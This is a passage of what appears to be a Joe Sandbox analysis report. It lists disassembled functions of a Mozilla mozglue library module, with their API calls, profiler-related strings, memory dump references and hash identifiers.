Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

[I %d/%d] profiler_pause, xrefs: 6C51F008
[I %d/%d] profiler_stop, xrefs: 6C51EED7
QzO/, xrefs: 6C51EF8A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentTimegetenv$ExclusiveLockProcessStampThreadV01@@Value@mozilla@@$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@__getpid
String ID: QzO/$[I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 2885066631-3632577265
Opcode ID: 56c897cfa70a95dbf6c42958a936d418b2a6afcb80486ccb6ba876b9ee4f8751
Instruction ID: 8269a7148ddb7a71106052965bf086004b89cce9cffda1b08ef03be94c2e99a9
Opcode Fuzzy Hash: 56c897cfa70a95dbf6c42958a936d418b2a6afcb80486ccb6ba876b9ee4f8751
Instruction Fuzzy Hash: 7CF09031604214CFEF00AF65DC0C3A5B7B0AB4A328FC20319D91183A81D7751848CBAE

Function 6C52CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDA4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D158
Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000098,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDC4

Part of subcall function 6C527480: ReleaseSRWLockExclusive.KERNEL32(?,6C5315FC,?,?,?,?,6C5315FC,?), ref: 6C5274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CECC

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

Part of subcall function 6C51CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C52CEEA,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000), ref: 6C51CB57
Part of subcall function 6C51CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C51CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C52CEEA,?,?), ref: 6C51CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D058

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction ID: 2902b949aeb8918f4759fcd6c962dbc868010645aee1d02b08ccd4cbd59e6c29
Opcode Fuzzy Hash: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction Fuzzy Hash: 59D14D71A04B469FD718CF28C880B99F7E1BF89308F01866DD95987752EB31F9A5CB81

Function 6C514F70 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 165stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C51501B
memcpy.VCRUNTIME140(?,?,00000200), ref: 6C51515B

Strings

..., xrefs: 6C51513A
QzO/, xrefs: 6C514F81

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: ...$QzO/
API String ID: 3412268980-1134547456
Opcode ID: 677b8962911a4352f70f9fa7219b7b944a9bd76475b7d1f3df396c1ba54fff24
Instruction ID: 00a42b7c6955d2bf596c47a54c9ec6047e38fc81d3addee1e980c2ad133f7fd3
Opcode Fuzzy Hash: 677b8962911a4352f70f9fa7219b7b944a9bd76475b7d1f3df396c1ba54fff24
Instruction Fuzzy Hash: 89615CB0A083459FD700CF18D984A4BBBE1AF9930CF048A6DE48997B51E735E919CB93

Function 6C4F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4F5D40
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67
__aulldiv.LIBCMT ref: 6C4F5DB4
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction ID: 77fa3a47cfa6e74ef20e546193986b6b62af70c4a1057a89734af9807bb22736
Opcode Fuzzy Hash: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction Fuzzy Hash: 2F516171E011198FCF08CF68CC54EAEBBB2FB85304F5A861DD865A7B91C7706946CBA4

Function 6C4E4C00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E4C2F
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E4C82
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E4C89

Strings

MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4E5749
MOZ_BASE_PROFILER_HELP, xrefs: 6C4E5511
MOZ_PROFILER_STARTUP, xrefs: 6C4E55E1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4E50F3, 6C4E5121, 6C4E513C
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4E5791
GeckoMain, xrefs: 6C4E5554, 6C4E55D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E54A3
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4E57C5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E548D
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4E57AE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4E5766
QzO/, xrefs: 6C4E4C0F, 6C4E544F
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4E56E3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E54B9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4E5717
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4E5724

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$MOZ_RELEASE_ASSERT(mNode)$QzO/$[I %d/%d] - MOZ_PROFILER_STARTUP is set
API String ID: 2801635615-282788286
Opcode ID: 3f01c7508078431d64a3bbe8902cd491d379958b673609cf07d7454297d65237
Instruction ID: 0ee590cc575e42026aa16476c3cb373cc46f6cf9a6eb6b7dca4d762f65b70983
Opcode Fuzzy Hash: 3f01c7508078431d64a3bbe8902cd491d379958b673609cf07d7454297d65237
Instruction Fuzzy Hash: DB4102317052118BD705CF69C994F1A77E1AF8A76AF6B865CE8718BBD1CB30D842CB84

Function 6C50FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C50FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C50FFF5
free.MOZGLUE(?,?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C51001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C51002A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction ID: 99d04b869f29be0ca19d5b413b4f1c55629f073a6cb6ee33d7baeca538903683
Opcode Fuzzy Hash: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction Fuzzy Hash: E221F1B2B002159FD7089E689C848AEB7BAEBC53247254338E425D7780EB30AD0183E4

Function 6C542780 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00020000,?,?), ref: 6C5427DA
memset.VCRUNTIME140(00000000,000000FF,00020000,?,?,?,?,?), ref: 6C5427EC

Strings

Z'Tl, xrefs: 6C5427B2
QzO/, xrefs: 6C54278D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: QzO/$Z'Tl
API String ID: 2221118986-3759787132
Opcode ID: 049fc7fbe3872aa15647c5ea396272fe446d41fc496bbc0b7bfafbf0f8245168
Instruction ID: 6961165460c77b53aff3e01f17e0aa22939a90facd3b605e5d6906e2dc748ec8
Opcode Fuzzy Hash: 049fc7fbe3872aa15647c5ea396272fe446d41fc496bbc0b7bfafbf0f8245168
Instruction Fuzzy Hash: 8521E5B1A002159BDB04DF68DC84BDB3BA5EF88354F048439ED09EF345D734A85487E4

Function 6C4EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4EB4F5
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB502
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB542
free.MOZGLUE(?), ref: 6C4EB578

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction ID: 9669f87948b761f7414db17a782b4c70a1912c5893f4034b5b6bf1d8ff4c1abc
Opcode Fuzzy Hash: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction Fuzzy Hash: 2811C030A04B41C7D712CF29C904F62B3B0FF9A32AF96970AD84953A01EBB1A1C5C798

Function 6C513DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4DF20E,?), ref: 6C513DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4DF20E,00000000,?), ref: 6C513DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C513E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C513E0E

Part of subcall function 6C50CC00: GetCurrentProcess.KERNEL32(?,?,6C4D31A7), ref: 6C50CC0D
Part of subcall function 6C50CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4D31A7), ref: 6C50CC16

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction ID: 058649f14acf1def78cac8b1e269350aceeee4c275fa1b4db5eb8aeb2e01ae3a
Opcode Fuzzy Hash: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction Fuzzy Hash: 42F01271600208BBD700AB54DC45DAB376DEF86624F454020FD0857741D775BE1996FB

Function 6C522050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C522064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52208E
free.MOZGLUE(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C5220A3

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction ID: 0997b760b8da0b83814a40e0583a75971d263146d3fc7ae9df4edc545a146a52
Opcode Fuzzy Hash: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction Fuzzy Hash: F9F0B4752007009BC7119F16DC8CB5BBBF8EF86334F15011AE50687710C776A806CB9A

Function 6C5285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5285D3

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C528725

Strings

map/set<T> too long, xrefs: 6C528720

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction ID: 4f385dedfb98fabe8df844aeb02051127d12919e1f1133b2009063d432a9556c
Opcode Fuzzy Hash: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction Fuzzy Hash: 0F515575A00651CFD701CF58C884A59BBF1BF99318F18C18AD8595BB92C339F885CF92

Function 6C515710 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

Part of subcall function 6C517090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C51B9F1,?), ref: 6C517107

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C51EB71), ref: 6C5157AB

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Strings

qQl, xrefs: 6C515860
QzO/, xrefs: 6C515720, 6C51589D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$CurrentProcessRelease$AcquireTerminateThread
String ID: QzO/$qQl
API String ID: 2617131280-2384380976
Opcode ID: 6d73143faddfdf8da33979260c156e0d77211ee1717fa7260f002c67a1a22283
Instruction ID: f09c77d8952ee705cbcad67f495cd21e225ef733a180c374055411f50391ef48
Opcode Fuzzy Hash: 6d73143faddfdf8da33979260c156e0d77211ee1717fa7260f002c67a1a22283
Instruction Fuzzy Hash: A951AC31E08B859BD704CF38C8812A6B3A0BF99268F55E619DC9D17253EB30B9D8C781

Function 6C532570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?), ref: 6C532655
__Init_thread_footer.LIBCMT ref: 6C5326BE

Strings

QzO/, xrefs: 6C53257F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footerfree
String ID: QzO/
API String ID: 1226231535-117776061
Opcode ID: 7ff6763df71e3f50a774916ac5c1a8eb52c39863514a0b1d25995bcc2ce80f01
Instruction ID: 5d32be80a467d8d9664c500d32993e53a3e3bc27c12b73ef07cdb373f84beb80
Opcode Fuzzy Hash: 7ff6763df71e3f50a774916ac5c1a8eb52c39863514a0b1d25995bcc2ce80f01
Instruction Fuzzy Hash: C241AEB1A00614CFCB14CF58DC8899ABBF1EF86310B55856EC8599BB16E730A945CFE1

Function 6C530DE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C530EFC

Part of subcall function 6C521B80: GetCurrentThreadId.KERNEL32 ref: 6C521B98
Part of subcall function 6C521B80: AcquireSRWLockExclusive.KERNEL32(?,?,6C521D96,00000000), ref: 6C521BA1
Part of subcall function 6C521B80: ReleaseSRWLockExclusive.KERNEL32(?,?,6C521D96,00000000), ref: 6C521BB5

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C530E50

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

Strings

QzO/, xrefs: 6C530DF0

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCriticalCurrentReleaseSectionThread$Count64CounterEnterLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_
String ID: QzO/
API String ID: 2508600278-117776061
Opcode ID: 28f738b4bfbc6152725c531b6b0e8aef1cff8f80ffc99c2694943140afd10666
Instruction ID: d8a57042e324a5c16fb11a0bbd91d404c5173900c2c72236f6738f1429845e06
Opcode Fuzzy Hash: 28f738b4bfbc6152725c531b6b0e8aef1cff8f80ffc99c2694943140afd10666
Instruction Fuzzy Hash: 9F4167757087519FCB08CF29C880A5AB7F5BFC8318F41591EE88A97791EB70E809CB91

Function 6C52C570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 6C52C605
_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,00000001), ref: 6C52C672

Strings

QzO/, xrefs: 6C52C581

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID: QzO/
API String ID: 3401907645-117776061
Opcode ID: c1948e013663b5ba0cb626d608849335a674a113dc534b57aa0cffc6bf27e993
Instruction ID: e24be8548140b75e85f8ba4e04baad752b72a842c780ceabb0699989890548f5
